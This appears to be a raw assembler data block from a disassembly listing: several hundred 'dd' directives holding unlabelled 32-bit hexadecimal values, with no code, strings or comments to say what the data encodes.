		dd 848B21ECh, 3007AF2Fh, 8312D34h, 0C235455Eh, 52F87D17h
		dd 74730E65h, 41677261h, 0A72E1770h, 0FB10CE78h, 1101CEBAh
		dd 8E22B8EEh, 0BCFA0FE1h, 6B848B98h, 112E11F2h,	2E5EFFFAh
		dd 3635AF00h, 0AAF47F03h, 88EF0143h, 7F847B33h,	1001CEABh
		dd 7122FEEAh, 0F1BA0BE1h, 0D4C8C58Bh, 88E87060h, 0ED00815Dh
		dd 6483383h, 61099589h,	0C5B50D27h, 0B9851030h,	0BD838015h
		dd 0E013D120h, 8B0C1C74h, 0B8E289E8h, 0EFC21949h, 2444701Ch
		dd 1C4D3E71h, 0E8456A00h, 6829A360h, 7A83749Ah,	0ADF5007h
		dd 894B1E25h, 0AD5910Ah, 0EC0214E9h, 8B55D057h,	0C483EC0Ah
		dd 5AC0EED8h, 4071EA81h, 0DA098B34h, 1BD845C7h,	400E1808h
		dd 7D810889h, 1DC680FCh, 7F200F74h, 0DB832408h,	12FF9810h
		dd 0E163EB43h, 7461DC36h, 0C2C91426h, 81064604h, 2FF7CC4h
		dd 0BA44498Eh, 8045018Dh, 0C7085D8Bh, 4A194485h, 0A8D50h
		dd 1888C3D1h, 0BA88941h, 6A2BD81h, 0E3755D02h, 8D282794h
		dd 75EC64BAh, 0E8A8004h, 5B90F4BBh, 0F37ABB8h, 0D0D37854h
		dd 4B080FCCh, 5F7753Bh,	4647C3AFh, 46624A24h, 0D142A2F9h
		dd 78ABA61h, 0D85FF0D0h, 0A0FC45EEh, 0A304EB4Dh, 8046C8ADh
		dd 0F740C53Eh, 348436BAh, 0C197DE6h, 0F83E7FEBh, 12C86D0Ch
		dd 0F40E4CF0h, 0C14A10A8h, 4F06514h, 0D1F803D6h, 96C203E0h
		dd 0DB330128h, 80301C8Ah, 0A72CCFBh, 77390AC3h,	0EFEBD305h
		dd 7F142226h, 0A0D6761h, 1E08F666h, 0AC3F4F5h, 1AC310EAh
		dd 0D0B7241h, 677460Ah,	121EA24h, 0EC87F05Dh, 317D83F4h
		dd 0B3B07202h, 7676C00Ch, 26AA64A5h, 76E01CF8h,	3BA8A08Dh
		dd 0FFC0A55h, 9CBD7882h, 38AA1BB0h, 8BA0EE5h, 700AB90Eh
		dd 10BD9CFCh, 0FFE0036h, 0FA754947h, 772271B9h,	1BB016Ah
		dd 82F10EE1h, 276DBEBh,	0F4868E00h, 51074937h, 1D44DB65h
		dd 268A72FFh, 1E90785h,	0B8105905h, 8009E5D9h, 0F5F05F13h
		dd 18C7F20Ah, 2261D346h, 0F900C0DBh, 623E05BDh,	1E4825Ch
		dd 4CE46BAh, 800CEA54h,	0CF02CD3Fh, 1D78371Bh, 83606D5Bh
		dd 0C32C5C2Eh, 0E2F18030h, 70CB8CF6h, 82670134h, 765B4E39h
		dd 516A830Fh, 0E3D1043Dh, 0E46B33Bh, 2E097556h,	480E11ACh
		dd 65E4EC05h, 64000690h, 8E05C584h, 38072896h, 85534781h
		dd 2940C204h, 8205718Ch, 0A20EDBE7h, 2B0CFFB3h,	22047781h
		dd 0C134011Dh, 7533F984h, 3FBC9020h, 670A7677h,	330230EFh
		dd 8C89EC41h, 0FFCC9F7Fh, 45CF4090h, 5060E9EAh,	5200C462h
		dd 11254D8Ch, 84B1AA82h, 845AABCDh, 0A6561308h,	825E0AE7h
		dd 0A88112EEh, 8AD04408h, 13A2B9FAh, 28972305h,	0CC1E8143h
		dd 5CF26B13h, 5E212104h, 6D8AC8C4h, 45972550h, 211C08CCh
		dd 0C4560046h, 6143220Dh, 8203108Ch, 8D67FDFAh,	1039BFDAh
		dd 0C007EA12h, 0B0BEBD0Bh, 130CC585h, 7605E281h, 5A398C52h
		dd 4D8A11C4h, 42891D88h, 6DD8052h, 9011EEh, 0CADC126Eh
		dd 0DF4DBC67h, 10140B76h, 83E71A86h, 0C9C898CCh, 8D4331E6h
		dd 0FA1B0C02h, 820D33EAh, 148CC43Ch, 9F167C2Dh,	0C45385E2h
		dd 22CB6018h, 81340011h, 868A0BF8h, 58CC0FD6h, 41AA0EFAh
		dd 801E612Ah, 43A86139h, 88B037h, 1ECB3C68h, 8BC54E0h
		dd 0C9A43600h, 0E7B9485Bh, 5A8D0C64h, 7FBCF95Ch, 0D9C97260h
		dd 281BBFA1h, 185F6927h, 0B4E9C067h, 0C03358Ch,	66F8DB82h
		dd 0F760D79Ah, 0C63D427h, 38A104Ch, 0E3608B35h,	0F26C811Ch
		dd 0C38C3339h, 1EA07C10h, 0A60EA3Ah, 0BF158E2Bh, 37FC03EEh
		dd 8A7D4BB7h, 9BC0660Fh, 674F0033h, 0F23A0B9h, 5203EA84h
		dd 59D18C01h, 8CBC74Ah,	0D6F74900h, 8D3398CBh, 3826906Bh
		dd 0A1709015h, 1664A0E8h, 69DB00C0h, 0A2357B8Dh, 0DE0E4B8Ah
		dd 9E4D1076h, 494C8F80h, 66038444h, 18B310DCh, 0D6A4EF18h
		dd 944B10h, 0E7F99160h,	5DD39B2Eh, 98953Bh, 2BF01EDEh
		dd 70C7C26h, 8933F248h,	684B062h, 5300FA1Fh, 0D057B4EFh
		dd 0B0966E54h, 59C43809h, 1B709F30h, 79C7CF82h,	4C03554Bh
		dd 6280060h, 0C75225F8h, 9430BD4Dh, 0E87BB883h,	3A8C7DD6h
		dd 3A39F15Bh, 0E714E283h, 0D1047731h, 83B851C4h, 6FFB7A00h
		dd 23076FAh, 5B46214Eh,	70DE7Ch, 0D3E8E984h, 61C189FBh
		dd 7069C808h, 3FDF7881h, 0C1D36FABh, 0D021B088h, 59A55Dh
		dd 0F07948FDh, 8193BE1Bh, 0CE3021C0h, 3D2E25h, 0B01E7131h
		dd 75B2E4C2h, 6F36D218h, 0EEA179h, 0CD581565h, 0BE72FF3Fh
		dd 42EFB100h, 0C640E779h, 68C80095h, 0CEF5D722h, 630705A6h
		dd 6F8BF4BDh, 4A58F091h, 0F80B9453h, 0CF59681Bh, 0AA8172E1h
		dd 0F899C78Eh, 1903EF45h, 0B2406AB1h, 33B1AF7Bh, 0CEC114F4h
		dd 12CD843h, 0F2BE63E9h, 83FD9834h, 1C0EC118h, 0D030A582h
		dd 885AD4F0h, 1B74C60Bh, 50ADD03Fh, 0F8155798h,	0AF47C90h
		dd 0ACFAD30Bh, 81E0C041h, 9AF2C317h, 0D65C1944h, 1298C800h
		dd 0CE5B4701h, 4871C6Bh, 0BD82BE1Dh, 0F4144D71h, 98E697E1h
		dd 3CB0B3A0h, 1ED4148h,	8FF0FCh, 1A44D71Ch, 10970469h
		dd 8D469D61h, 0D1D8A469h, 0A082F0h, 6B7A7714h, 6434EFEh
		dd 8A83B50h, 7485D81Bh,	18F818B0h, 1CCAD94Bh, 0C4EF6703h
		dd 5A12469h, 0C03CF460h, 0FA822C7h, 68841C42h, 0F80441C8h
		dd 51BB611Dh, 316E0810h, 8B784824h, 24CB7A01h, 47420B58h
		dd 7C7D5C11h, 0F09C0A55h, 0D01455E2h, 103047C0h, 0BE024905h
		dd 0D8BC1454h, 74698CA7h, 7C244087h, 80889C49h,	0C0B8E91Bh
		dd 0D66CA480h, 6F010893h, 6254F0DDh, 0F8906082h, 8E016E4Dh
		dd 89808C94h, 0CD83F3ABh, 0DA0CC4C0h, 0A144685Fh, 2B9D00C6h
		dd 0A42F8AF5h, 7748802Ah, 1DFE01F8h, 0D9A0347Ch, 203C71AAh
		dd 2D01CE28h, 0C3F6A45Dh, 0CCF1F8BDh, 71B7998Ah, 54D1180h
		dd 0BDD84164h, 40F69C32h, 80DB686Ch, 6C5435E2h,	7700249Ch
		dd 73696FE0h, 2EF816h, 12A0D164h, 678043FCh, 1449E4EFh
		dd 86509662h, 9344404h,	0B7DB61CAh, 5BFC90A1h, 5790431Bh
		dd 514B890Eh, 94758AD0h, 8CAD7200h, 980F8ED8h, 0C21A0180h
		dd 0B40CF103h, 0CF508FD3h, 718BC11Eh, 0E6010DBh, 21BB1CF0h
		dd 0A6258040h, 0BE8790B2h, 0F2958400h, 4A1E7A60h, 0F0E70156h
		dd 588805BCh, 6C9DD091h, 9CE97300h, 93601D37h, 517478AFh
		dd 0CCF0BC80h, 0DB34002Fh, 661014B5h, 4A07167Ah, 0B0A9065Eh
		dd 0AC2B9971h, 1D89DCh,	572D9FBBh, 0E72D5BCh, 15820F01h
		dd 0B68BBD5Fh, 941ED833h, 862300E2h, 0C6144D1h,	8809349h
		dd 15C4A404h, 7B7C18C2h, 18D16034h, 8E873E9Ch, 735DD012h
		dd 78352405h, 82BED040h, 0D901C8h, 1D429392h, 9FD58C6Ah
		dd 87783148h, 81A649C4h, 4CED4C58h, 0C090CC22h,	1D9F8344h
		dd 80B97A14h, 39683747h, 0CD048DAEh, 1C8519D6h,	8035F8C1h
		dd 0F867980h, 503FB651h, 0FCE0AB24h, 7F691038h,	30C6BC03h
		dd 0B952BD2Eh, 94BE13E0h, 20C8F820h, 0F57940h, 0D83E0E32h
		dd 3126EE1Ch, 0A657CD3Fh, 0F0870044h, 0FC02F5DDh, 0B3FC485Fh
		dd 0B4374857h, 91713518h, 7049A62h, 7C316B6Ch, 4ACCDA81h
		dd 26AB5FE8h, 40045346h, 0D4040C4Ch, 55C0ACA0h,	2C904892h
		dd 0EF805AE2h, 0E867162Dh, 24B804B2h, 191C018Ah, 1110CEA4h
		dd 6BF08481h, 0F9058670h
		dd 1D4416DAh, 4FB9A980h, 9B943072h, 8BBE8DE9h, 0B00ACECh
		dd 0D7FE5D05h, 1A8D0EFh, 4A719710h, 0E91669ECh,	611CF7A3h
		dd 0FE83B9C0h, 88C1C50Bh, 4749C7h, 0C6E9662Dh, 80F05714h
		dd 79904454h, 0C01B1502h, 494CB5D8h, 12106B10h,	0F9008803h
		dd 25AF34A2h, 75D7613Dh, 292D0762h, 39711C8Ch, 4108B88Eh
		dd 203CE024h, 0AB0E0651h, 9931CA82h, 0B6800C91h, 86C9D6F1h
		dd 0E31E082h, 7D3EAEBBh, 60D81301h, 0A806612h, 0E86CD0EDh
		dd 85055F97h, 90434EFAh, 1DDCB82h, 5FAB2929h, 84CF6046h
		dd 4D077669h, 41F4648Ch, 0DB140284h, 0D0901B20h, 18E49A81h
		dd 619FFFD3h, 41C04268h, 0FD021B3Fh, 547546h, 9A86E0AAh
		dd 0F46964F0h, 8558BF60h, 24554648h, 0FD87206h,	41380E76h
		dd 0E818FF2Bh, 35C8648Ch, 6A1E01EFh, 0BF5F2CE3h, 1023AFh
		dd 0F91437CAh, 2402E6h,	0BE09AB95h, 0FA4C607Ah,	0C855A606h
		dd 4C485090h, 8735784Ah, 0E0A480C9h, 55805A85h,	0F4B854E8h
		dd 894C6037h, 0AD9C5964h, 4F8B0C1h, 6820B0CDh, 0F0F71A2Bh
		dd 3C60A1C4h, 0BD805461h, 0AC723184h, 15F9450h,	0BC4CC282h
		dd 0B1B499BDh, 62681C10h, 5DCF00FCh, 5C395F1Bh,	0ACB70083h
		dd 0A849B4F5h, 4D0BC54Fh, 674DE43h, 440EF91h, 68298EDDh
		dd 6D9405Ah, 75A5FCE4h,	2FD5008Dh, 0A86E9C30h, 3AB09514h
		dd 82104A02h, 0E4FCD37Ch, 0A420A37Ch, 0DF238840h, 7754362Bh
		dd 5F005394h, 143EDA81h, 0A7A3942h, 93DC7471h, 0BC1D0020h
		dd 9569BEE5h, 0EC268824h, 6825701h, 0E820BD8Ch,	24E8F02Bh
		dd 847C437Ch, 0B6531D0h, 604C82BDh, 4020B9Eh, 6098480h
		dd 261907D8h, 672C5A46h, 4DA051Ch, 186EC18h, 0E35C3CF8h
		dd 0BC516400h, 0C19B060h, 0B822A480h, 77592154h, 0D4300516h
		dd 80A7F861h, 0D9C08494h, 0C4E02CECh, 85B500AEh, 7C1B1471h
		dd 0B62C6D41h, 2408E40Eh, 81513C8h, 0A89E446Ch,	0E06B32FDh
		dd 3C50661Fh, 4187E343h, 0D012B2BEh, 0C5F435F3h, 3DA04A03h
		dd 87F0EFA7h, 0C90206B7h, 7E30693Bh, 0C3DD5610h, 0C93A602h
		dd 9AF22228h, 0E8A04090h, 4F5280A0h, 10402B48h,	0F0014D6Ch
		dd 0CF405C2h, 3013C3D0h, 342266A4h, 1D312074h, 0A307D977h
		dd 0BDC63A6Dh, 0F9D3A31Eh, 7CC13B90h, 3C48E031h, 21BF12CFh
		dd 844D4922h, 6534F078h, 0E9873100h, 2C00C352h,	409401D9h
		dd 0EA1CF458h, 41B9C2F6h, 0F10288A0h, 12186243h, 0EC0C86F4h
		dd 169A0029h, 0D609BC87h, 489817ACh, 71141489h,	0B5288267h
		dd 5A681B18h, 3D3E5CA4h, 0C1C33A1Dh, 39C80841h,	723C2577h
		dd 0ED580010h, 417D6FFDh, 0C761710h, 722000DDh,	55FCBC2Bh
		dd 0B8D00933h, 2C01ECE4h, 23067697h, 24490820h,	813D12AAh
		dd 19274BCh, 0E0DB7FFCh, 62CC8C0h, 0D082A2D7h, 0B6396094h
		dd 0CC4C7825h, 0F0F581E0h, 10066154h, 92FBD318h, 60A4EFA9h
		dd 8E9929D0h, 4A00E7FFh, 3155C954h, 1D6ABB22h, 40A16397h
		dd 0F8086C73h, 0F1D2595Dh, 0B0C8AC20h, 0C0908179h, 10A8528Dh
		dd 61CFD2A4h, 7DA660EBh, 45B263Ch, 0AD2C6740h, 0C918D1F7h
		dd 42A016D6h, 512C1C8Dh, 6073350Dh, 0DD030833h,	0DCA705B4h
		dd 78C81CD0h, 45F1626h,	0B5E8908h, 9092F3D3h, 0FDE28833h
		dd 40CD864h, 3145FCD0h,	119F42F6h, 9C58D8CAh, 553E3CC0h
		dd 68C4462Eh, 360B7B9Dh, 0F860D810h, 17CE3F00h,	0A2D35044h
		dd 2FA00D2h, 46A736E1h,	70006DFCh, 16E4D52Dh, 61FEBE5Dh
		dd 18F67114h, 64C40C3h,	62402DE0h, 0B74F0023h, 822508C1h
		dd 0FC0005FEh, 0B00E3879h, 682D9Eh, 2CCC2395h, 94AA690Dh
		dd 1C70FC03h, 0E0855F0Eh, 4CEE334h, 44CFBD5h, 1D6C9038h
		dd 201BB69h, 14F2DB4Fh,	1880CBF8h, 0B0C1BC19h, 0FA04870Eh
		dd 93964A67h, 0F260C8h,	64B8BA02h, 3C1DD843h, 0B264500h
		dd 8051C4CAh, 450908Dh,	0FEB31024h, 0D34883DEh,	0A0501582h
		dd 1E0880Ch, 0F656D875h, 4F311427h, 92E10410h, 0BB940040h
		dd 5FCA0020h, 0D486F83Bh, 60C373Ch, 19D8F39Ah, 9B1F0C4Fh
		dd 0FB405073h, 1772CC00h, 3FD64979h, 7859C03Ch,	70CB30D4h
		dd 7BC5F60Eh, 0A009803Dh, 60C6B7Ch, 569C324Fh, 9D763816h
		dd 0C83E07FEh, 82BF1F1Dh, 1010938Dh, 98FB300Dh,	0EAC4EE88h
		dd 0BC2C011Bh, 26CA5C3Fh, 831FD9CBh, 0E186F4A0h, 62B87C78h
		dd 8048C8F0h, 573CB100h, 177CA105h, 92E0088Dh, 0F8840399h
		dd 8327B10Eh, 3C89589Ch, 380A605Bh, 0A11A6990h,	0B1A03F02h
		dd 8F964240h, 2CBB2330h, 0F68802C9h, 4231F051h,	5EFCB4A1h
		dd 83C88A1Ch, 614208DAh, 0B4C0A88Eh, 0A83F9C50h, 183AFEA8h
		dd 919BE483h, 8618CEC6h, 1B787FBCh, 8C8E0C92h, 312187E4h
		dd 28857218h, 2AA0DAE9h, 0C18BECEh, 68E6E4A6h, 0A2038B80h
		dd 9C204234h, 19711B5Ah, 90C3B94Bh, 833F0807h, 9FCE5D5Bh
		dd 2C0BA800h, 14D5691Bh, 844D2609h, 480D4422h, 412758FEh
		dd 89BC1D21h, 5708B1B1h, 7C41BAA6h, 0D8598165h,	5D05A852h
		dd 0A45024ABh, 0E208C65Ch, 5461F099h, 0E4790F5h, 7B25DBA6h
		dd 7F80C38Eh, 91899D35h, 88093A01h, 0B867A1Eh, 0C90A9181h
		dd 8006CC21h, 7B0D8211h, 33175A7Dh, 4D61ADBEh, 4CBC1011h
		dd 5D81F53Fh, 9A20BD2Fh, 4ED18586h, 28680B8Fh, 0C3094715h
		dd 113EE71Ch, 3B9C58h, 9C679A7h, 74507EEFh, 1CE8A11Ah
		dd 0FB2A9111h, 5A2DC9D9h, 0F10C7D40h, 391D8C72h, 4746004Eh
		dd 0F7921E83h, 0F6305E08h, 0F958914Dh, 48589026h, 198A1CB1h
		dd 1718D63Ch, 1659A1BFh, 64E3484Bh, 35CC2283h, 0B2343142h
		dd 398017B8h, 5C452E83h, 92FC0C7Ch, 0C1D10158h,	7720E800h
		dd 0F67B1D82h, 48E15161h, 46BCB6D2h, 0CD21C341h, 42781D6Fh
		dd 20B418CEh, 6D67BE16h, 398C0491h, 2299321Fh, 54848061h
		dd 25B5215Fh, 0B12F8C00h, 1A877218h, 0FF9A71h, 992D64Dh
		dd 0DC2B8016h, 83612109h, 922C8F32h, 0E03B7007h, 160A5700h
		dd 817A60BDh, 0A61A5ACEh, 20A6D7F8h, 0CBCB352h,	30418A40h
		dd 609C9245h, 0A00308A8h, 0F7F8018Dh, 10411841h, 3880115Ch
		dd 710C40EAh, 78002FE0h, 0AB3FC10h, 0FD802ADh, 767C7345h
		dd 3922C3E2h, 23EEE0E0h, 0E63B8400h, 0D0B6463Eh, 4E0C03D6h
		dd 384CE1D3h, 0A0DCA2E0h, 44DA111Eh, 41BD7300h,	0F3FD162h
		dd 24CB4FD9h, 484049ECh, 0D339B410h, 45E1C909h,	0DCBBF980h
		dd 0C4000592h, 0B37F2149h, 16FEC37Ch, 34BD0FBh,	0E73B43B9h
		dd 25B47380h, 650CC103h, 0E0462CC7h, 0B1C6BBFAh, 55042390h
		dd 4AF8A0FAh, 245C2BD2h, 0D8F43Dh, 71C61C9Dh, 7E007721h
		dd 2EE1C53Ch, 0D54E1Eh,	0F5495E24h, 36B34F3Dh, 62DA9F0Ch
		dd 3740D3h, 930480FCh, 2849E0CAh, 6AB36C07h, 0D9E0F3D6h
		dd 75892E73h, 3390017Fh, 9B35C05Bh, 5E2D000Ch, 99F7400Ah
		dd 46CDCA00h, 68B3730Eh, 32E500DAh, 302067D0h, 3B030D5Eh
		dd 26C05F22h, 1561F8E0h, 3F3EF83Ah, 9F8280E9h, 3446CE1Fh
		dd 22403861h, 78A0EB94h, 420022C7h, 0DDA2F634h,	0DBCAA0h
		dd 0B3720E49h, 0FBF3DE63h, 0D54BE000h, 0F40F842Dh, 89460723h
		dd 0C0DFC1FAh, 105D2AD3h, 7473B00h, 43C611ADh, 6FB60021h
		dd 0C88D3095h, 8CE232C1h, 0F6355400h, 8E8A493Fh, 0D140C19Fh
		dd 0D442Ch, 8AD01h, 0B61049D9h,	0E7C2717Dh, 7BF52D3Ch
		dd 0E9FA48E8h, 0B9003373h, 35E0C139h, 71782CC4h, 0AB0003Bh
		dd 77D90794h, 8CB3B810h
		dd 0F3355057h, 0E1E04900h, 0A2E93842h, 169D0E0Fh, 0B82174CCh
		dd 0F2C58FB2h, 0A0CA8003h, 0E4FA3B45h, 39B5009Ch, 0E0770CC2h
		dd 49005D26h, 9606BF8Eh, 4CDC1Ah, 80766A34h, 0DA31E81Dh
		dd 30ED1000h, 9AF60B4Bh, 26B60067h, 0D435D996h,	0E70452Bh
		dd 0E91FA400h, 735FC9CAh, 8DB30077h, 0CF38F4C6h, 3100EF10h
		dd 3FE90C84h, 3935B859h, 0F836D3h, 3B3C5C29h, 59103B6h
		dd 0E419700h, 1D6FB478h, 44ACB08Eh, 3DF02275h, 888A4A27h
		dd 423880Ch, 0D700F67Fh, 0FEDC6353h, 133655Bh, 0D28F57FBh
		dd 4A4127F5h, 0C77CB034h, 60AB01E2h, 8D48FC3Eh,	7407D0DCh
		dd 0BB256F08h, 3A585040h, 0E0E203FFh, 880C576Ch, 0FE014430h
		dd 5CB38124h, 0C078894Bh, 0C5211430h, 3D00FE4Ch, 811FBF7Dh
		dd 66ABAD19h, 61304E70h, 0FE7BF400h, 0E82D4D13h, 493E07A3h
		dd 0F058DC52h, 0CF226003h, 81510760h, 718AF8Ch,	8FA61DC8h
		dd 206AC5E3h, 22FE4648h, 11A38123h, 4EC70017h, 0AFE67AFEh
		dd 0B6F81D5Ah, 4C482580h, 0F5881BE8h, 84BE0020h, 49791436h
		dd 2D0EAB10h, 692DB3Fh,	510A87h, 0EE3A849Dh, 0BE321DC3h
		dd 1CACD47Ah, 0BCEF2F40h, 0E4A48014h, 496688B8h, 95CB0F1Eh
		dd 7046ACA8h, 28FE5001h, 5C5D5381h, 5800C964h, 63F9AAFEh
		dd 2096F81Eh, 9200297Ch, 6B49F618h, 0C121FCD4h,	0B54ECED0h
		dd 27208123h, 197ECB22h, 8C6EE848h, 26FE4205h, 3C224381h
		dd 4ACB2015h, 0F01C45FEh, 2218ABA0h, 0DF1D5860h, 0C79CC021h
		dd 0C1F346EAh, 0EF292D00h, 0E48B0CCEh, 91774A1Bh, 50F38C28h
		dd 3C40B188h, 3892687Fh, 8E940700h, 6B84A0EEh, 87A84A0Ch
		dd 5C215CA8h, 0F8E6C00h, 9D5A0E1h, 4E19244Dh, 0EE6F8054h
		dd 0F5F892DAh, 0D03D7B12h, 646DC0A1h, 0DAD60900h, 0CD041F48h
		dd 22FCA50Ah, 8102D41Dh, 48135FE4h, 6766CC2Ch, 8A711820h
		dd 0B9053E30h, 40283F99h, 6CE833E4h, 290E853Dh,	0BD9A3EFCh
		dd 3F95B7C1h, 4F2BA81Fh, 0A2809B60h, 9E43B038h,	31729C18h
		dd 184F8768h, 293D3FDBh, 4B012651h, 2C23A843h, 0C2AC01Bh
		dd 7E212B6Ch, 974B3E01h, 17612201h, 0DE258850h,	0F6AB0F0Dh
		dd 0B9E0EDA6h, 0C7EFB5BEh, 0D9C01A00h, 9CF079E2h, 4BA8011Dh
		dd 0F4CBA02Ch, 70442B3Ah, 0C4106303h, 93013923h, 8CA0EF8Eh
		dd 5D890318h, 0E0BF8EECh, 0F6470FF7h, 8120D21Eh, 2318D392h
		dd 118460D0h, 22122495h, 0C4E427F3h, 8234C9A0h,	0C4AC7299h
		dd 84500924h, 1098596Ah, 0F4674h, 52C59C37h, 73C04874h
		dd 25F37CA7h, 60486165h, 0CD00FFE5h, 9E9FBE28h,	0FC9AB0h
		dd 0EEA8E673h, 0BB949C1Ah, 90DE6331h, 0C3E0812Fh, 0CDCA075h
		dd 92A00130h, 84B63FEDh, 80C020B0h, 18782640h, 381A7CACh
		dd 0D8DE0BD5h, 0AB813A10h, 209D7BBh, 8EF0333Eh,	9453A0D4h
		dd 6E5A80B8h, 889F8Eh, 9C89BFF2h, 0E1A556CBh, 7F8750Fh
		dd 0AD50C7ABh, 1B882B66h, 0C132BBDEh, 188090E4h, 4E6144ADh
		dd 76085720h, 11451980h, 9790E6FEh, 0AE6C9E00h,	1BA79C77h
		dd 0AB920D2Ch, 2048010Ch, 63402798h, 0A2A512BDh, 1FEC088Ch
		dd 85724003h, 20B16078h, 3B2F8CA1h, 0A17C18C8h,	180BD1E8h
		dd 40EF24C2h, 0C64160A8h, 9A7884BDh, 1678B49Ah,	4D13F69h
		dd 0EF604E0Ch, 0F82391DAh, 63118Dh, 66DAD70Ah, 16CC481h
		dd 0B86987A2h, 241C5791h, 126D158h, 6A00421Ah, 93B19651h
		dd 98B80008h, 6C3CBE72h, 180AA509h, 902248B5h, 65CA4105h
		dd 0A00974A2h, 0C8A254BBh, 8D84832Fh, 0DA38C871h, 70780C40h
		dd 0BB4D0F9Bh, 7186A7D9h, 4CA81855h, 17257881h,	0F6B468B1h
		dd 40DE006Fh, 0AC328A42h, 5706413Ch, 0E02E4A6h,	9D460C38h
		dd 6E687237h, 68D19899h, 85009418h, 0D40D2E1Fh,	17EE20h
		dd 0BA02CFD7h, 1692E7F9h, 7B35D000h, 0B1363E1Bh, 0D64F2686h
		dd 4B21C06Ch, 0DB21A846h, 2A9125h, 74B397Bh, 16B57FAEh
		dd 4798CB26h, 59D202Ch,	0C8A8143Ah, 528F2F09h, 0F09E4401h
		dd 0A9260354h, 59E196F6h, 149C442Fh, 0B3290301h, 8081ED6Ch
		dd 28003CE1h, 0C74CC22h, 26F4684h, 8125FE41h, 1012314Bh
		dd 7BFE49CAh, 0E12A00DEh, 21B5A6BBh, 428A02F6h,	0B17C00FCh
		dd 9848FFAAh, 2D946F4h,	0A8414B28h, 102D3133h, 4B4080h
		dd 709A212Fh, 8689C5EBh, 0C0C13078h, 6CD09B5Ch,	0D776C4h
		dd 0AFBB92A8h, 8954DBB3h, 4C031179h, 1BEAE56Bh,	8CE07705h
		dd 21FE4502h, 0C55CAB81h, 4DC681F0h, 590970FEh,	571C42C4h
		dd 0FEDAD830h, 22C546F8h, 0E00F0279h, 0B60EE2DAh, 0D9002BC3h
		dd 6736FDA4h, 576E5168h, 4272E895h, 823F063Dh, 9E8962Eh
		dd 0F3D6F4FEh, 0BE9A1C80h, 0AD0EBFBDh, 0AA3268A1h, 465EE0E3h
		dd 0F183F11h, 0C4048548h, 108112EEh, 670C5999h,	5930B986h
		dd 0BB5181Ch, 7C6F9C84h, 18DAF411h, 424B0825h, 55C43BA8h
		dd 4B3D7F40h, 5E00BBD6h, 0E7339474h, 13A092DBh,	421F6248h
		dd 9A256628h, 0F8DC8460h, 0FDA7EA02h, 6AB062EFh, 58D0C094h
		dd 52F58006h, 0BAA69807h, 7D73BDD9h, 506FC05Ah,	2A143085h
		dd 7B8742F8h, 14D18891h, 902CC018h, 0E0202EC1h,	1F40F106h
		dd 9D13A9Fh, 91EF4A8h, 8D0F4880h, 22807843h, 50512882h
		dd 72E04690h, 0A8234B7Ch, 71443B0Bh, 148E3F61h,	48E5AEF6h
		dd 78A7C089h, 0B92074D8h, 0BAA50042h, 29402847h, 9F50CE83h
		dd 224A45F4h, 0C9EC8427h, 1EA701F0h, 2B943CB0h,	0A0A08016h
		dd 0A39110D5h, 0E022588Ch, 40287486h, 26A4803Bh, 60B4342Bh
		dd 7610C2C2h, 138C8C70h, 8A1A9649h, 5C794486h, 6A4D8998h
		dd 94A75080h, 5C98D326h, 0A1DE4B20h, 0D3184AB8h, 0F895DA08h
		dd 0DB0E70EDh, 235DA02h, 64BB163Fh, 0EC5848E0h,	30C60387h
		dd 7DB735F5h, 80635F00h, 0AA28A194h, 39604861h,	0D9C80071h
		dd 0B36B3CA0h, 3F065745h, 771947F2h, 3B790951h,	0A0681B8Eh
		dd 44F68929h, 14D4BE2Eh, 0D541FC2Ch, 20D23F06h,	64AC4D37h
		dd 0D7948C50h, 3C34954Ah, 82A158C0h, 0F85D641Bh, 0DAED604Ch
		dd 0FDF82393h, 0C006711h, 0FBDFDAD5h, 206404DDh, 92411358h
		dd 8B2808D3h, 93907290h, 581810FCh, 0D9FF021Eh,	76F42249h
		dd 4F096E8h, 0A2D620E0h, 2F3900F4h, 6909D359h, 95E20FF9h
		dd 61CCD226h, 4490B0D1h, 0FC556820h, 3BEC29ABh,	814911E4h
		dd 0F896DAD2h, 4FB433F6h, 9A41FC0Dh, 0B6269EF4h, 20BC3424h
		dd 760A0CA4h, 0A02FAC50h, 82C032E0h, 2C2CFF9Ch,	4775147Ah
		dd 3224089Dh, 0CC4F8488h, 414FC9Ah, 4E33EC01h, 0AE9E7490h
		dd 48BB10DDh, 21340320h, 0F7F9BE4h, 28359920h, 5CF6B263h
		dd 0EE1080BCh, 6C277055h, 82C035E2h, 0AB1945F8h, 35D68040h
		dd 0E4B6420Ah, 1698DC39h, 4BB247E0h, 7D003A36h,	21CD008Ch
		dd 9B227FAh, 464EFCA8h,	0D80FC802h, 71BC5986h, 28E1829h
		dd 44BE9738h, 0D8AF7108h, 9C92D7C0h, 873DAB74h,	570972A3h
		dd 20336DDh, 216BCE8h, 0FC448272h, 0FC4D2C0Fh, 0D02857E2h
		dd 0D3FC917Ch, 58E660B4h, 8154941Fh, 8128212Ah,	13ECCCE5h
		dd 7A64200h, 0A1A5A9B2h, 40209F61h, 9FDD87C0h, 3FCFE909h
		dd 0F58402E0h, 0EBB32006h, 0C801232Ah, 589E5016h, 4A6A6942h
		dd 1C3857C0h, 8D807DFFh, 4305B412h, 0A200ED67h,	0CDE1DE11h
		dd 1692D3CBh, 0A5EF9940h, 4F4030D8h, 0B10BA272h, 98274AA6h
		dd 3F59F634h, 9E80A5BEh, 0C4C2A09Ch, 0CC7BA81Dh, 29E01A52h
		dd 5900C007h, 0C25DDF0Bh
		dd 0DE52008Dh, 53A45149h, 0BD388FC0h, 168CC8A5h, 0C43E6517h
		dd 80268C76h, 8D817449h, 86C9830Ah, 29F2E872h, 2F5F033h
		dd 0A597067Fh, 0D001BAE4h, 1793E614h, 15823FCh,	0F897DAD1h
		dd 9C7C33DDh, 0BEDAD9C0h, 4C4D5D45h, 7010402Ah,	0FF2D0157h
		dd 199B1F4Bh, 8724FC2Ch, 6B00DC78h, 0FC58447Ch,	80094D07h
		dd 20498572h, 0F3471C20h, 90E27300h, 0CB94BF6h,	0F3E9CA5h
		dd 116061D8h, 5E0A2F29h, 4FC00ABh, 6E3C90ADh, 421C019Ah
		dd 185089C0h, 0D3DCB238h, 0F30B173Fh, 5C59069Ch, 0A6065811h
		dd 610A96FCh, 168140E0h, 70C0882Ch, 0C48EBFBEh,	16EBDE4h
		dd 0C1FD8D20h, 64A2C823h, 7B530h, 0EF9A6D02h, 0F5842EEAh
		dd 4A0BCCE5h, 91002C90h, 0EA8E62Fh, 65316834h, 0C0B7B12Eh
		dd 0ACF7B38Ah, 42095200h, 0B9FF3A06h, 897401C9h, 16EAC825h
		dd 0D039BCh, 280BE35Ch,	0B9789EE4h, 0D09B4098h,	4E2D3E7Ch
		dd 91C49730h, 33AC8112h, 58C86776h, 0D6083070h,	14D7879h
